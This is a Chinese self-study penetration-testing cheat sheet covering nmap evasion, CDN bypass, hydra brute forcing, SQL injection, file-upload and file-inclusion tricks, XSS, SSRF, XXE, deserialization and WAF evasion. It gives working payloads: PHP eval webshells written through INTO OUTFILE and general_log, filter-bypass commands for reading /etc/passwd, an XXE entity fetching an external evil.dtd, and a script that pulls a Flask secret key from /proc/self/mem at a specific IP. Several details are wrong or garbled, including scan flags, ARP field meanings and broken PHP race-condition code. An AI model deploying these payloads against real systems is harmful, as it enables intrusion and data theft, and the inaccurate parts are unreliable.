网络安全自学笔记
自学网安的一点笔记,仅供学习使用
网址信息查询
qlnslookup www.exmaple.com
dig www.exmaple.com
whois www.exmaple.com
dig <选项> www.exmaple.com any – any查询网址全部的信息
FOFA的搜索关键字
title="" ; 标题
country="" ;指定国家
region="" ;指定行政区
city="" ;指定城市
domain=""
icon_hash="" ;网站图标
js_name="" ;网站是否包含js文件
app=""
!= 可以排除地区使用
&& 联合搜索
(domain="www.example.com"&®ion!="HK")&&body="WELCOME TO WWWW"
nmap扫描
https://nmap.org/ nmap官网
nmap 127.0.0.1:直接扫描127.0.0.1地址,默认扫描1000个端口
主机发现:
-
-sn:简单的ping扫描 -
-Pn:禁用ping扫描(仅扫描端口) -
-PR:APR扫描(局域网) -
-PU:UDP ping扫描 -
nmap -sn 192.168.1.0/24 nmap -Pn 192.168.1.0/24 nmap -PR 192.168.1.0/24 nmap -PU 192.168.1.0/24
端口扫描:
-sS:TCP、SYN扫描(默认)-sT:TCP连接扫描(完成三次握手)-sU:UDP扫描-F:快速扫描(前1000个端口)-p:- 范围扫描:
-p 1-10000 - 指定端口扫描:
-p 80,443,22 - 指定服务类型扫描:
ssh,http,https -p-:扫描所有端口
- 范围扫描:
--top-ports 100:扫描前100个常用端口
版本和脚本扫描:
- 版本检测:
-sV:版本检测-sV --version-intensity 9:增强版本检测-sV --version-light:轻量级版本检测-O:操作系统检测-O --osscan-guess:增强系统检测
- 脚本扫描:
-sC:默认脚本扫描--scipt=vuln
时间和性能优化:
- 时间:
-T0:超慢-T1:慢-T2:正常-T3:默认-T4:快速-T:超快(可能丢包)
- 性能:
--min-hostgroup 10 --max-hostgroup 50:调整并行主机数--min-parallelism 10 --max-parallelism 100:调整并行扫描数- 扫描延迟:
--scan-delay 1s:固定延迟--max-scan-delay 10s:最大延迟
--max-retries 3:重试次数--host-timeout 30m:调整主机超时时间
输出格式:
-v / -vv:详细输出--packet-trace:启用数据包跟踪--reason:显示端口状态原因--open:仅显示开放的端口--iflist:显示接口和路由--stats-every 10s:性能统计
规避和欺骗
-
规避
-
分片
-f--mtu
-
欺骗源地址
nmap -S spoof_ip -e eth0 192.168.1.1
-
伪造MAC地址
nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1 nmap --spoof-mac 0 # 随机MAC -
数据包长度
nmap --data-length 100 192.168.1.1
-
-
欺骗选项
# 诱饵扫描 nmap -D decoy1,decoy2,decoy3 192.168.1.1 nmap -D RND:10 192.168.1.1 # 10个随机诱饵 # 源端口指定 nmap --source-port 53 192.168.1.1 # TTL设置 nmap --ttl 128 192.168.1.1 # IP选项 nmap --ip-options "\x01\x07\x00" 192.168.1.1 -
常用脚本表格
类别 描述 示例命令 auth 身份验证相关 --script=authbroadcast 网络广播发现 --script=broadcastbrute 暴力破解 --script=brutedefault 默认脚本集 -sCdiscovery 服务发现 --script=discoverydos 拒绝服务检测 --script=dosexploit 漏洞利用 --script=exploitexternal 外部数据查询 --script=externalfuzzer 模糊测试 --script=fuzzerintrusive 侵入性脚本 --script=intrusivemalware 恶意软件检测 --script=malwaresafe 安全脚本 --script=safeversion 版本检测增强 --script=versionvuln 漏洞检测 --script=vuln
cdn绕过
-
检测cdn
-
网址中存在
cdn得明显字样 -
网站工具探测 http://ping.chinaz.com/ https://ping.aizhan.com/ 推荐
每个地区ping探测得到得
ip都不一样,说明存在cdn,cdn是根据数据包发送得距离就近分发文件 -
nslookup:多次测试,如果得到的地址很多就说明有cdn但是不准确
-
-
绕过
cdn-
子域名
www.baidu.com 主域 www.xx.baidu.com 子域 aa.baidu.com aaa.aa.baidu.com .edu.gov.nat 三级域名 适用于子域名和主域名要在同一个服务器上 子域名一般不会部署cdn -
国外ping – 找网站
多看一些冷门的国家
部分cdn的配置不会涉及到国外
-
历史dns解析记录 – 找网站
在配置cdn之前的一些解析记录
-
网站的icon图标
获取网站图标计算hash值,去fofa根据hash值搜索
-
网站证书
拿到证书的序列号(十六进制)转为十进制,去fofa按照证书的十进制值搜索
-
绕过工具:https://github.com/Pluto-123/Bypass_cdn
-
网站敏感文件
- .git文件 https://github.com/lijiejie/GitHack
- .svn文件
Rip-svn.pl -v -u url/.svn/ - .DS_Store文件
python ds_store_exp.py url/.Ds_store - phpinfo泄露
- 备份文件泄露
旁站与C段
旁站:同一服务器上的其他网站 通过网站查询 http://ping.chinaz.com/same
C段:IP的C段,192.168.0.1 A段是192 B段是168 C段是0 D段是1 搜索方式:nmap、其他的工具
hydra暴力破解:
hydra -L <"username-list"> -P <password-list> <target-ip> <protocol>
-L/-l:账号字典/账号名
-P/-p:密码字典/密码
target-ip:目标ip
protocol:指定目标的协议名
hydra -l "账号名" -p "密码" 192.168.1.1 MYSQL
-v:显示详情
大写是字典,小写指定账号密码。每个windows都有个账号administrator
wpscan(专用于wordpress搭建的网站)
wpscan --url http://靶机地址/:扫描网站漏洞及版本信息
wpscan --url http://靶机地址/ -e u:扫描用户信息
wpscan --url http://靶机地址/ -e vt:扫描主题
wpscan --url http://靶机地址/ -e vp:扫描插件及漏洞
账号密码爆破:
- v2:
wpscan --url http://靶机地址/ -e u --wordlist /字典路径/passwords.txt - v3:
wpscan --url http://靶机地址/ -e u --passwords /字典路径/passwords.txt
更新漏洞库:wpscan --update
hashcat(MD5暴力破解)
hashcat -m <密码类型> <加密后MD5密码>
nc(netcat)扫描端口
nc -nv -w 1 -z example.com 1-100
-nv 表示我们扫描的目标是个IP地址不做域名解析
-w 表示超时时间
-z 表示进行端口扫描
msfconsole:渗透控制工具
#执行步骤
search smb
use 375
options
set smbpass Admin@123
set smbuser administrator
set rhost 192.168.1.1
run/exploit
searchsploit
windows对于目录大小写不敏感,linux对于目录大小写敏感
根据网站变换大小写访问的结果可以分析他的系统结构
nikto网站漏洞扫描
scapy定制数据包进行高级扫描
在终端中输入scapy自动开启
定制ARP协议
ARP().display()
###[ARP]###
hwtype=0x1 硬件类型
ptype=0x800 硬件地址长度(MAC)
plen=4 协议地址长度(IP)
op=who-has who-has 查询
hwsrc=00:0c:29:6a:cf:1d 源MAC地址
psrc=192.168.1.53 源IP地址
hwdst=00:00:00:00:00:00
pdst=0.0.0.0 向谁发送查询请求
示例:
定义向111.111.1.1发送ARP请求的数据包
sr1(ARP(pdst="111.111.1.1"))
scapy定制PING包
IP().display()
###[IP]###
vaersion=4 版本:4,即IPv4
ihl=None 首部长度
tos=0x0 服务
len=None 总长度
id=1 标识
flage=
frag=0 标志
ttl=64 生存时间
proto=hopopt 传输控制协议 IPv6逐条选项
chksum=None 首部校验和
src=127.0.0.1 源地址
dst=127.0.0.1 目的地址
ICMP().display()
###[ICMP]###
type=echo-request 类型,标识ICMP报文的类型
code=0 代码
chksum=None 校验和
id=0x0 标识
seq=0x0
注:生成一个ping包需要IP和ICMP组合生成。ICMP()生成ping包的类型,IP()生成ping包的源IP和目标IP
sr1(IP(dst="111.111.1.1")/ICMP(),timeout=1)
scapy定制TCP协议SYN请求
TCP().display()
###[TCP]###
sport= ftp_data TCP源端口
dport= http TCP目的端口
seq= 0 32位序号
ack= 0 32位确认序号
dataofs= None 4位首部长度
reserved= 0 保留6位
flags= S 标志域、紧急标志、有意义的应答标志、推、重置链接标志、同步序列号标志、完成发送数据标志。按照顺序排列是:URG、ACK、PSH、RST、SYN、FIN
window= 8192 窗口大小
chksum= None 16位校验和
urgptr= 0 优先指针
options= [] 选项
sr1(IP(dst="111.111.1.1")/TCP(flags="S",dport=80),timeport=1)半连接
web安全
SQL注入
- 注释注入:利用sql的注释的特性将一部分的sql语句注释掉
select id, userAccount from learncenter.user where userAccount = "${req.query.params}"
那我们在前端传输参数的时候输入1" or 1=1; %23 这里的%23会被解析成#,那么该语句就会被解析成
select id, userAccount from learncenter.user where userAccount = "1" or 1=1; #";
#后面的都会在sql拼接的时候被解析成注释从而不执行。然后进行sql注入获取数据库内部的数据
提示:这里的#也可以替换为–。但是–需要跟一个空格,不然会报错
- 联合注入
select id, userAccount from learncenter.user where userAccount = "1" union select 1, 2 from learncenter.user; # 前后返回的数据数量一样
-
字符串检测注入
- ‘ 在语句后面输入 ’
- # 在语句后面输入#
-
整形检测注入
-
未知列数的情况下,可以根据
order by和group by确定有几列 根据报错回显确认' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ' ORDER BY 4--逐渐增加数字,直到出现错误,当
ORDER BY 5报错但ORDER BY 4正常时,说明查询返回4列错误示例:Unknown column '5' in 'order clause' -
group_concat()查询结果全部连接起来 -
union注入,适合有显示位(能直观的在网站中显示出来)
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='库名字'; --+:查表名称
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='库名字' and table_name='表名'; --+:查表中列名称 -
布尔盲注,适合无显示位的
-
时间注入
- 没有显示位,页面也不会根据命令出现明显的回显,具体看网站回显的时间
sleep():延迟执行if(条件,真,假):条件语句ascii():转换成ascii码substring("string",start,length):和mid()一样取出字符串里的第几位开始,长度多少的字符串
-
报错注入
-
前提是有能有能把报错信息回显到页面的功能,通过一些函数的错误使用爆出来的信息
-
报错函数
-
floor():select * from user where id = 1 and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2))x from information_schema.tables group by x)a);8.0以上高版本无效
-
extractvalue():select * from user where id='a' and (extractvalue(1,concat(0x7e,(select database()),0x7e))); -
updatexml():select * from user where id=1 and (updatexml(1, concat(0x7e, (select user()), 0x7e),1)); -
geometrycollection():select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); -
multipoint():与geometrycollection()类似 -
polygon():与geometrycollection()类似 -
multipolygon():与geometrycollection()类似 -
linestring():与geometrycollection()类似 -
multilinestring():与geometrycollection()类似 -
exp():select * from user where id=1 and exp(~(select * from(select user())a));
-
-
-
堆叠注入:
- 用
;可以同时执行多个sql语句
- 用
-
二次注入:
-
插入并引用数据库中的恶意数据
数据库中的恶意数据默认是安全的,在进行查询的时候引用到恶意数据,会引发二次注入
-
-
宽字节注入:
输入’号的,会被认为是非法字符,会被过滤函数添加"\"给过滤掉,搭配前面的注入方法进行sql注入
- 使用条件:
- 数据库查询设置位GBK编码
- 使用了
addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数
- 使用方法:在
'之前加上%81 利用gbk编码进行’的转义
- 使用条件:
-
HTTP请求头注入
user-agent:' and updatexml(1, concat('~', (select table_name)), 1) and 'referer:和上面类似
-
phpmyadmin页面:-
SHOW VARIABLES LIKE 'secure_file_priv';:查看写入权限,若值为空,可写入任意目录;若为/tmp/,仅限该目录,之后执行SELECT '<?php system($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';写入一句话木马,再搭配蚁剑等工具配合 -
利用
SELECT load_file('/etc/passwd');读取系统文件 -
SHOW VARIABLES LIKE '%datadir%';查看数据库路径 -
执行
SHOW GRANTS;确认是否为root或高权限账户 -
通过日志记录 PHP 代码生成后门:
show variables like "general_log%"; -- 查看日志权限是否开启 SET GLOBAL general_log = 'ON'; -- 设置打开日志 SET GLOBAL general_log_file = "C:\\phpStudy\\www\\shell.php"; -- 日志记录的位置 SELECT '<?php eval($_POST["cmd"]); ?>'; -- 写入一句话木马 select "<?php system($_REQUEST[cmd]);?>"; -- 系统执行命令 show variables like "general_log%"; -- 来验证上述修改是否成功
-
一句话木马
<?php @eval($_POST['cmd']);?>
文件上传
-
文件后缀绕过:修改文件的后缀为js或者后端认可的类型
-
mime类型绕过:将数据包中的
Content-type:image/jpeg修改成后面认可的类型 -
.htaccess文件:上传文件解析规则配置文件AddType application/x-httpd-php .php .php3 .php4 .jpg。将.php .php3 .php4 .jpg这种格式的文件当作php文件来 -
文件大小写变换
-
windows:如果文件名+
::$DATA会把::$DATA之后的数据当成文件流处理不会检测后缀名,且保持::$DATA之前的文件名。可以利用这个特性来进行文件上传防御方法:文件写入的时候过滤掉
::$DATA -
文件名双写:防止去除文件名
php,双写成pphphp -
00截断
-
实现条件
- php版本 < 5.3.4
- php.ini的magic_quotes_gpc为off
-
在添加的路径上添加符号
%00。例如路径是../upload/可添加为../upload/test.php%00 -
绕过WAF,可以修改数据包中的十六进制符号修改为
00。路径中添加;,然后将;的十六进制修改为00路径在form-data中的也可以适用这种情况
-
-
条件竞争
-
上传文件后进行判断,如果文件格式符合情况则重命名留下,反之删除。
后端并发处理多个请求
假如用户a上传了木马文件,代码执行期间,用户b访问了上传的文件,会出现三种情况
- 访问时间点在上传成功之前,没有此文件
- 访问时间点在刚上传成功但还没有进行判断,该文件存在
- 访问时间点在判断之后,文件被删除,没有此文件
-
实现
抓包上传数据包和访问的数据包进行爆破。通过系统的文件占用导致文件暂时不能被删除的特性,进行对文件进行访问,然后对漏洞进行利用
在无线爆破的文件中写入以下代码
<?php `$f=fopen("test.php", "w");` `fputs($f, '<?php @eval($_POST['cmd']);?>');`? >
这个是打开一个文件,然后将一句话木马写入
这样就通过访问后门文件,执行以上逻辑然后在后面的文件中写入一句话木马,在webshell工具连接
-
-
图片马:
-
制作方法:
-
copy+ 图片名字/b + 脚本名字/a 生成名字 -
将图片用记事本打开。保留前三行其他的全部删除,在最后加上木马即可
代码可选其他位置,中间或者结尾
-
-
利用文件包含漏洞,将图片马解析为代码执行,再用
webshell工具连接 -
二次渲染
将原本的上传的图片的内容保存,后端校验成功之后按照原来的图片重新生成一个新的图片再上传到服务器
-
绕过方式:先上传一个正常的图片,查找没有被二次渲染的位置,在没有被二次渲染的位置插入一句话木马
注意插入语句尽量查找偏后的位置
-
-
move_uploaded_file函数特性:会忽略掉文件后的/.,所以上传的时候可以在文件路径后面添加一个/.。例如:./upload/file.jpg/. -
数组上传:修改数据包
-
用js执行php代码:
<script language='php'>eval($_POST['v']);</script>用于绕过文件php内容的检测
-
解析漏洞
https://blog.csdn.net/u011781521/article/details/58630742
- IIS
- nginx
- apache
文件包含
将文件设置为动态变量去引用文件,在引用的时候未对文件进行过滤,检查。极易造成文件包含漏洞的产生
常见的文件包含函数:
include():代码执行到的时候才会对文件进行包含,发生错误的时候给出警告然后继续向下执行include_once():功能和include()相同,区别在于重复调用同一文件的时候,程序只调用一次require():和include()的区别在于,如果该函数执行错误,函数会输出错误信息,并终止脚本的运行require_once:功能和require()相同,区别在于重复调用同一文件的时候,程序只调用一次highlight_file()、show_source():对包含的文件的语法高亮显示readfile()、file_get_contents():函数读取一个文件,并写入到输出缓冲区fopen():打开一个文件或者url
应用条件:allow_url_fopen和allow_url_include开启的情况下才能
phpStudy的环境中
远程文件包含:如果包含php等相关可解析的文件结尾,那么最后解析的是远程服务器的文件解析结果。要想解析成本地的,要将后缀改为不可解析的文件命名或者.txt
/etc/passwd
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)
/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据
/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数
/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容
/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址
flask-session结构
flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号“.”来进行分隔。flask_session默认session的储存在用户Cookie中。但也可以指定存储在数据库、缓存中间件、服务器本地文件等之中
import re
import requests
maps = open("./test.txt") # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read() # 读取文件内容并赋值给变量 b
lst = b.split(
"\\n"
) # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。
for line in lst: # 遍历列表 lst 中的每一行内容
if (
"rw" in line
): # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
addr = re.search(
"([0-9a-f]+)-([0-9a-f]+)", line
) # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
start = int(
addr.group(1), 16
) # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
end = int(
addr.group(2), 16
) # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
print(start, end) # 打印起始地址和结束地址
# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
url = f"http://61.147.171.35:65281/info?file=../../../proc/self/mem&start={start}&end={end}"
# 发送 GET 请求并获取响应
response = requests.get(url)
# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
# 如果找到了 SECRET_KEY,则打印并结束循环
if secret_key:
print(secret_key)
break
通过**/proc/self/maps查找偏移量,去/proc/self/mem**中寻读取内存中的内容
伪协议:
file=file://
file://:127.0.0.1/include.php?filename=file://文件路径
php://:
-
php://filter -->
php://filter/[使用方法]=convert.base64-encode/resource=文件路径用于读源码
显示结果以base64加密的数据呈现,解密之后为源码
-
使用方法:
-
read
-
resource
-
write
-
filter
-
-
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/[read]=convert.base64-encode/resource=index.php
-
convert.iconv.*格式
-
convert.iconv.<input-encoding>.<output-encoding> / convert.iconv.<input-encoding>/<output-encoding>?filename=php://filter/convert.iconv.a.b/resource=check.php
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)示例:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
-
-
-
php://input 输出流
用于执行php代码
抓包转换参数,将post请求中的数据作为PHP代码执行
-
zip:// -->
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt压缩流- zip://中只能传入绝对路径。
- 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型还有zlib://和bzip2://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行
-
data:// 协议包含
data://text/plain,<?php phpinfo();?> //如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入: data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 如果加密之后多个+,因为url中+默认为连接符号,可以将?>去掉同样也能执行data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行
-
phar://协议包含
与zip://类似,同样可以访问zip格式的压缩包内容
apache日志记录:
-
前提是知道日志的路径
-
通过访问攻击的时候日志记录的访问操作以及攻击时的payload,在通过文件包含访问日志中记录的木马。最后执行攻击代码
-
php的日志是否开启可以通过访问phpinfo()确认是否开启
session包含:
-
session会记录一些账号的内容,通过账号中包含一些特殊账号
<?php @eval($_POST['cmd']);?> -
通过文件包含漏洞包含记录session的文件
-
查找session存储位置
session_save文件-
phpinfo()文件 -
默认位置:
/var/lib/php/session -
phpstudy默认位置:E:\phpStudy\PHPTutorial\tmp\tmp默认session文件中,username后面就账号
-
-
session文件拼接:
sess+开发者工具中存储的值
文件包含绕过:
-
%00截断:路径的结尾包含%00 -
路径长度截断:
/./././././././,不断添加垃圾字符把路径截断windows 路径长度为256
linux 路径长度为4096
-
基于共享文件夹:文件包含服务器上的共享文件
samba服务
同一服务器,不同端口下,只要能找到文件的上传地址,可以用一个网站去包含另一个网站的文件(推荐绝对路径)
cms的文件包含漏洞:
- cms:内容管理系统,用于前端和后端二次开发的系统
XSS跨站脚本
在网站中嵌入恶意脚本代码,客户端攻击
- 存储型(持久性
xss攻击):恶意代码存储到了相关程序的后端服务器上- 极易出现的位置:用户注册,留言板,上传文件的文件名处,管理员可见的报错信息,聊天框,客服,问题反馈区,邮件信箱
- 存储型建议使用
console.log()来测试,避免其他形式的xss注入造成网站崩溃 - 满足条件:能够插入数据,插入的js数据能够正常执行
- 用来获取cookie
- 反射型(非持久
xss攻击):攻击者将构造好的payload注入(修改后的url),提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。常见于搜索框等地方 DOM-based型(非持久xss攻击):纯前端操作,javascript伪协议,javascript事件
给标签中的<input vlaue="asdasdas">中的部分标签闭合后写成<input value="" onclick="alter(1);">
限制代码的长度的话,可以使用<script src=""></script>中src引入相关js脚本
CSFR跨站请求伪造
伪造请求,欺骗目标点击,当用户点击请求之后,攻击完成。所以CSFR攻击也称为one click攻击
实现条件苛刻:同一浏览器、必须是登录状态
站内:
正常访问:http://www.example.com/pay?user=xx&password=1234567
修改过后:http://www.example.com/pay?user=hack&password=1234567
此时访问的时候就会带着第一次的cookie/session去访问第二次的地址,这个时候浏览器就认为第二次的访问是由用户发出的正常访问请求
站外:
在一个网站中,假设构造一个请求去访问百度,此时就会带着原站点的cookie/session去访问百度,此时百度这个网站就获取了另一个网站的cookie/session,如果百度是钓鱼网站的话,那么信息将会泄露
检测:
抓取一个正常的请求数据包,去掉Referer字段后再重新提交,如果提交还有效,那么基本上可以确定存在CSRF漏洞。如果请求中有token的话,这种检测并不是确定的
burpsuite中有csrf检测模块
绕过:
修改自己服务器上的文件名为ip或地址
防御:
- 增加
token验证机制 - 验证
HTTP Referer头 - 在
http头中添加自定义属性 - 同源策略
SSRF服务端请求伪造
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统(因为是从内部系统访问的,所以可以通过它攻击往外无法访问呢内部系统,也就是把目标网站当中间人)
形成原因:该网站提供了从外部获取资源的权限,且没对来源的数据包做过滤
正常访问:
www.example.com/xxx.php?image=URL
修改后访问:
www.example.com/xxx,php?image=www.hack.com/1.jpg,如果后端未对该请求做过滤,那么就会导致该服务器向www.hack.com/1.jpg发送请求(www.hack.com是www.example.com的内网地址)
如果存在该内网地址就会返回1xx,2xx等相关状态码,不存在就会返回其他的状态码
用途:
- 可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息(服务版本、详情信息)
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的web应用,主要是使用
get参数就可以实现攻击 - 利用file协议读取本地文件
判断是否存在:
- 能够对外发起网络请求
- 从远程服务器请求资源(upload from url,import & export rss feed)
- 数据库的内置功能
- webemail收取其他邮箱邮件(
pop3/imap/smtp) - 文件处理,编码处理,属性信息处理(ffpmg,imageMaic,DOCX,PDF,XML处理器)
和远程包含文件的区别:这个只是引入文件,并不会对文件进行解析,而远程包含文件则会对文件进行解析
命令执行漏洞(RCE)
应用有时候会执行系统命令的函数。当用户能控制参数的时候,就可以将恶意系统拼接到正常命令中,从而造成执行命令攻击
执行条件:
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到命令行中
- 没有对用户输入进行严格的过滤
远程命令执行漏洞:
- 概念:用户通过浏览器提交执行操作命令,由于服务端没有对函数做过滤,就执行了恶意命令
远程代码执行漏洞
- 概念:代码执行漏洞也叫代码注入漏洞,指用户通过浏览器提交执行恶意脚本代码,执行恶意构造的脚本代码
linux系统命令连接符号;,windows命令连接符号&:echo ”aaa“;ifconfig,echo "aaa" & ipconfig
绕过方式:
- 连接符号:
"" ''cat /e't'c/p'a's's'wd - 模糊匹配:
?c'a't /e?c/pa?s?d cat$a:未初始化变量都是nullcat$a /etc$a/passwd$q- base64加密绕过:
echo "31sada34dada312ca" | xxd -r -q|bash ==> cat /flag - 反斜杠:
ca\t fl\ag
逻辑漏洞
程序逻辑不严或者逻辑太复杂,导致一些逻辑分支不能正常处理或处理错误
XXE漏洞
xml外部实体注入,当允许引用外部实体时,xml数据在传输中有不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站
xml是用来传输和存储数据的
xml语法:
<?xml version='1.0' encoding='utf-8'?> //声明xml解析器的版本来解析
<!DOCTYPE person[
<!ENTITY name "join"> //xml定义变量 <!DOCTYPE 根元素名称[<!ENTITY 变量名 "值">]>
]>
<!ENTITY %变量名 "<!ENTITY 变量名 "值">"> //参数实体 -- 外部实体注入漏洞会用
<person> //根元素,名字为自定义
<name>test</name> //子元素,名字为自定义
<url>http://</url>
<ch>&name</ch> //调用变量名
</person>
" " ' ' & <>不允许直接出现在xml的文档中,因为xml解析的时候会分辨不清
%变量名:是在定义变量的时候引用变量
&变量名:是在文本中引用变量
要想使用xml执行系统命令,需对方开启expect扩展 <!ENTITY f SYSTEM "expect://whoami">
php伪协议读取系统中的文件:<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
恶意引入外部实体:外部实体中引入其他的文件<!ENTITY %d SYSTEM "http://abc.com/evil.dtd">,也可以使用伪协议
反序列化漏洞
序列化:将变量或对象转换成字符串的过程
反序列化:将序列化后的字符串转换成变量或对象的过程
相关函数:
-
serialize():class chybeta { var test = "123"; } serialize($chybeta); //序列化之后 O:7:"chybeta":1:{s:4:"test";s:3:"123";}O:表示的是存储的是对象,a表示的是数组7:对象名称的长度有7个字符"chybeta":表示对象的名称1:表示有一个值s:表示字符串4:表示该字符串的长度"test":表示字符串的名称 -
unserialize():class chybeta { var test = "123"; } $class = O:7:"chybeta":1:{s:4:"test";s:3:"123";} $serializeClass = unserialize($class); echo $serializeClass; /* 反序列化之后 class chybeta { var test = "123"; } */
产生原理:
- 应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的
- 当传给
unserialize()的参数可控的时候,用户可以精心注入构造的payload。当反序列化的时候就有可能触发对象中的一些魔术方法,造成意想不到的危害
构造反序列化类的时候,文件上方必须存在该类,不然调用的是自己产生的一个新类
构造恶意反序列化参数:
- 在反序列化的值中添加一些恶意构造的参数
- 构造对象的一些魔法函数(类似构造函数以及
vue的生命周期函数)(反序列化的时候不会触发对象创建时执行的函数) - 反序列化只需要构造出和题目中类似结构的类,其中的命名和变量都需一致,函数还有魔法函数不用构造。反序列化之后,他自动会执行原类里的函数
java的序列化最后的结果类似乱码,通常传输都以base64加密后的结果传输
rO0AB开头的是java序列化的经过base64加密数据。aced开头是java序列化的16进制
WAF
web应用防护系统(网站应用及入侵防御系统),针对http/https的安全策略
WAF识别:
- nmap:
nmap -p 80 --script http-waf-fingerprint http://url - wafw00f:
wafw00f url - 第三放软件识别
判断是否存在WAF:查看是否出现拦截页面
绕过:
-
服务器特性
-
%特性(ASP+IIS)
union s%elect:WAF层解析的是s%elect但是在ASP+IIS环境中s%elect的解析结果就是select -
%u特性(ASP+IIS 和 ASPX+IIS)
iis服务器支持对unicode的解析,例如:s%u006c%u0006ect,这种字符WAF层解析为s%u006c%u0006ect,但是在服务器中就会被解析为select -
另类%u特性(ASP+IIS)
unicode在iis解析之后会被转换成multinyte但是转换过程中会出现:多个widechar会有可能转换为同一个字符
%u0065-> e,%u00f0 -> e
s%u0065lect -> select s%u00f0lect -> select,WAF层可能识别%u0065,但是识别不了%u00f0 -
apache畸形method
在get请求中,GET可以被替换成任意字符TEST /index.html?id=1 HTTP/1.1 HOST: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0) Accept: text/html,application/xhtml+xml
-
-
应用层特性
-
大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
将关键字等价替换:Hex() bin()等价于ascii() sleep() 等价于 benchmark() Mid() substring() 等价于 substr() @@user 等价于 User() @@Version 等价于 version() -
双重url编码
双重url编码,即对客户端发送的数据进行两次urlencode操作,如s做一次url编码是%73,在进行一次是%25%37%33,一般情况下在代码层默认做一次url编码,这样解码之后的数据一般不会匹配到规则
或者换一种编码方式:char或Hex编码、Unicode编码、Base64编码 -
变换请求方式
-
将GET变成POST,或者POST请求将urlencode和form-data转换,这样POST也会接收GET的参数
-
在POST请求中,可以将POST数据包转换为上传multipart/form-data格式数据包
-
构造参数提交代码
<html> <head></head> <body> <form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"> <input type="text" name="id"> <input type="submit"> </form> </body> </html>上传数据包参数:
-
-
HPP参数污染
类似?id=1&id=2&id=3的形式,此种形式在获取id值得时候不同的web技术获取的值是不一样的
假设提交的参数为:
id=1&id=2&id=3 得到的结果: Asp.net + iis: id=1,2,3 Asp + iis: id=1,2,3 php + apache: id=3多种变形:
